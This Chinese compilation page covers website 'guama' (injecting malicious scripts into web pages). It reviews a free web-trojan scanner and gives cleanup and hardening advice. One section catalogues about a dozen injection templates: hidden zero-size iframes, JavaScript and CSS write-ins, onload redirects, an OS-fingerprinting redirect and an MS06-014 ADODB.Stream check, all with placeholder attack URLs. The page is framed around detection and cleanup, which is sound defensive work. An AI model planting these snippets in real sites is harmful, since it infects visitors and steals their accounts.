网页挂马软件（超级巡警挂马检测系统）

本文目录

• 超级巡警挂马检测系统
• 网站被挂马了，自动在后面生成垃圾代码，删除以后还会出现，求助怎么解决
• 如何进行网站挂马检测与清除
• 10.1 国庆许多网站都被挂马了``` 毙命多``有什么好的软件可以屏蔽的

超级巡警挂马检测系统

超级巡警挂马检测系统是千云旗下的数据安全实验室(www.sucop.com)出品的一款免费挂马检测软件。该软件是专为检查WEB Server被入侵种植脚本木马和网页被嵌入的恶意链接而设计的。
　点击此处下载
超级巡警挂马检测系统是超级巡警的内置组件，可以帮助用户检测多种网页木马程序，保护用户的网页浏览安全。下图所示为超级巡警挂马检测系统的主程序界面，可以看到该程序提供有“本地扫描”和“网站扫描”两个主要功能，如图：
　超级巡警挂马检测系统
首先，我们来看一下超级巡警挂马检测系统提供的“本地扫描”功能，该功能支持用户自由定义扫描对象，用户可以使用该功能扫描本机内任何可能被感染的文件或者文件夹。点击对应按钮可以打开下图所示的指定扫描对象对话框，待用户指定扫描对象并启动扫描进程后，该软件将快速的扫描指定对象，如果检测到有安全威胁将自动显示在主程序界面上，方便用户直观的掌握指定对象的安全性。注意：超级巡警挂马检测系统提供的“本地扫描”功能，只是检测用户指定对象的安全性，而没有提供对检测到的安全威胁的处理，仅供大家检测安全性之用。
　打开选择扫描区域对话框
　选定扫描对象后点击“开始扫描”按钮执行扫描任务
　执行扫描任务
　扫描结束显示检测报告
下面，我们来看一下超级巡警挂马检测系统提供的“网站扫描”功能，该功能支持用户添加任意网站进行安全性检测，帮助用户了解对应网站的安全性。用户可以自由添加需要检测安全性的网站地址，然后点击“开始扫描”按钮即可执行对这个网站的安全性检测任务。
　输入欲检测安全性的网站地址
　网站安全性检测
超级巡警挂马检测系统提供的“网站扫描”功能，除了可以进行任意网站的安全性检测服务，还提供有对任意网站的Cookies的抓取及导入服务，如图：
　抓取Cookies
超级巡警挂马检测系统提供扫描设置选项，支持用户自定义多项运行参数项目，包括报告参数、本地扫描参数、网站扫描参数等，如图：
　扫描设置选项
超级巡警挂马检测系统在主程序界面的右下角提供有一个快速通道区，这里提供有“扫描浏览器缓存”、“ 软件设置、” “查看扫描报告”以及“联系我们”四个快速执行通道，用户通过鼠标点击对应快速通道即可启动对应服务。下图所示为笔者选择启动扫描浏览器缓存和查看扫描报告两个任务，如图：
　扫描浏览器缓存
　查看扫描报告
总 结：
超级巡警挂马检测系统主要提供本地扫描和网站扫描两个扫描项目，可以帮助用户全面检测本机指定区域以及指定网站是否被植入挂马脚本代码，以此帮助用户在打开对应文件或者网站前及时掌握其安全性，防患于未然，有效避免被病毒木马所感染。

网站被挂马了，自动在后面生成垃圾代码，删除以后还会出现，求助怎么解决

一般都是网站程序存在漏洞或者服务器存在漏洞而被攻击了
网站挂马是每个网站最头痛的问题，解决办法：1.在程序中很容易找到挂马的代码，直接删除，或则将你没有传服务器的源程序覆盖一次但反反复复被挂就得深入解决掉此问题了。但这不是最好的解决办法。最好的方法还是找专业做安全的来帮你解决掉
听朋友说 Sinesafe 不错 你可以去看看。
清马+修补漏洞=彻底解决
清马
1、找挂马的标签，比如有《script language="javascript" src="网马地址"》《/script》或《iframe width=420 height=330 frameborder=0
scrolling=auto src=网马地址》《/iframe》，或者是你用360或病杀毒软件拦截了网马网址。SQL数据库被挂马，一般是JS挂马。
2、找到了恶意代码后，接下来就是清马，如果是网页被挂马，可以用手动清，也可以用批量清，网页清马比较简单，这里就不详细讲，现在着重讲一下SQL数据库清马，用这一句语句“update 表名 set 字段名=replace(字段名,’aaa’,’’)”， 解释一下这一句子的意思：把字段名里的内容包含aaa的替换成空，这样子就可以一个表一个表的批量删除网马。
在你的网站程序或数据库没有备份情况下，可以实行以上两步骤进行清马，如果你的网站程序有备份的话，直接覆盖原来的文件即可。
修补漏洞（修补网站漏洞也就是做一下网站安全。）
1、修改网站后台的用户名和密码及后台的默认路径。
2、更改数据库名,如果是ACCESS数据库，那文件的扩展名最好不要用mdb，改成ASP的，文件名也可以多几个特殊符号。
3、接着检查一下网站有没有注入漏洞或跨站漏洞，如果有的话就相当打上防注入或防跨站补丁。
4、检查一下网站的上传文件，常见了有欺骗上传漏洞，就对相应的代码进行过滤。
5、尽可能不要暴露网站的后台地址，以免被社会工程学猜解出管理用户和密码。
6、写入一些防挂马代码，让框架代码等挂马无效。
7、禁用FSO权限也是一种比较绝的方法。
8、修改网站部分文件夹的读写权限。
9、如果你是自己的服务器，那就不仅要对你的网站程序做一下安全了，而且要对你的服务器做一下安全也是很有必要了！

如何进行网站挂马检测与清除

挂马是常见的对网站和客户都影响巨大的危害之一。如果是在访问出来的源文件的头上,或是最后有被加代码,这个一般是网站文件被要改了,或是ARP,如果是源文件的很多数据位置(中间),那一般是数据库被人挂了。服务器上首先要安装防病毒软件，而且要保持在线病毒库的更新，本人推荐使用eset nod32杀毒软件，效果不错，监测查杀木马很及时，一般如果服务器上的网页里被挂马了，一般都会检测出来。
不完全统计，90%的网站都被挂过马，挂马是指在获取网站或者网站服务器的部分或者全部权限后，在网页文件中插入一段恶意代码，这些恶意代码主要是一些包括IE等漏洞利用代码，用户访问被挂马的页面时，如果系统没有更新恶意代码中利用的漏洞补丁，则会执行恶意代码程序，进行盗号等危险超过。目前挂马主要是为了商业利益，有的挂马是为了赚取流量，有的是为了盗取游戏等账号，也有的是为了好玩，不管是处于那种目的，对于访问被挂马的网站来说都是一种潜在的威胁，影响运营网站公司形象。
一:框架挂马
《iframe src=地址 width=0 height=0》《/iframe》
二:js文件挂马
首先将以下代码
document.write("《iframe width=’0’ height=’0’ src=’地址’》《/iframe》");
保存为xxx.js，
则JS挂马代码为
《script language=javascript src=xxx.js》《/script》
三:js变形加密
***隐藏网址***
muma.txt可改成任意后缀
四:body挂马
《body onload="window.location=’地址’;"》《/body》
五:隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML + ’\r\n《iframe
***隐藏网址***
六:css中挂马
body {
background-image: url(’javascript:document.write("《script
***隐藏网址***
七:JAJA挂马
《SCRIPT language=javascript》
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro
llbars=no,width=1,height=1");
《/script》
八:图片伪装
《html》
《iframe src="网马地址" height=0 width=0》《/iframe》
《img src="图片地址"》《/center》
《/html》
九:伪装调用：
《frameset rows="444,0" cols="*"》
《frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"》
《frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"》
《/frameset》
十:高级欺骗
***隐藏网址***
return true;"》 页面要显示的内容 《/a》
《SCRIPT Language="JavaScript"》
function www_163_com ()
{
var url="网马地址";
open
(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizabl
e=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
《/SCRIPT》
十一:判断系统代码
《!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"》
《HTML》《HEAD》《TITLE》404《/TITLE》
***隐藏网址***
《META content="MSHTML 6.00.2900.2769" name=GENERATOR》《/HEAD》
《BODY》
《SCRIPT language=javascript》
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
《/SCRIPT》
《/BODY》《/HTML》
十二:判断是否有ms06014代码
《script language=VBScript》
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
***隐藏网址***
else
***隐藏网址***
end if
《/script》
十三:智能读取js的代码demo
//读娶src的对象
var v = document.getElementById("advjs");
//读娶src的参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute(’src’));
***隐藏网址***
frameborder=\"0\"》《/iframe》");
document.writeln("《!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\"》");
document.writeln("《HTML》《HEAD》");
***隐藏网址***
document.writeln("《META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR》《\/HEAD》");
document.writeln("《BODY》 ");
***隐藏网址***
document.writeln("《DIV ");
***隐藏网址***
\/BODY》《\/HTML》")
//分析src的参数函数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length》1){
var loallPm = loU.split("&");
for (var i=0; i《loallPm.length; i++){
var loPm = loallPm.split("=");
if (loPm==asName){
if (loPm.length》1){
return loPm;
}else{
return "";
}
}
}
}
return null;
}

10.1 国庆许多网站都被挂马了``` 毙命多``有什么好的软件可以屏蔽的

没有看懂您的问题呢,你是说你服务器的网站被挂马了?
还是你上网的时候,需要看的网页被挂马了?
如果是你服务器被挂马了,用软件清理下,比如护卫神•入侵防护系统里面就有木马查杀功能;
如果是你要看的网页,别人的网站被挂马了,你就安装金山网盾,金山卫士里面带有的,就不会中毒了.
如果你觉得还不够,装 微点杀毒 或者 NOD32,开启启发式杀毒,就安全了.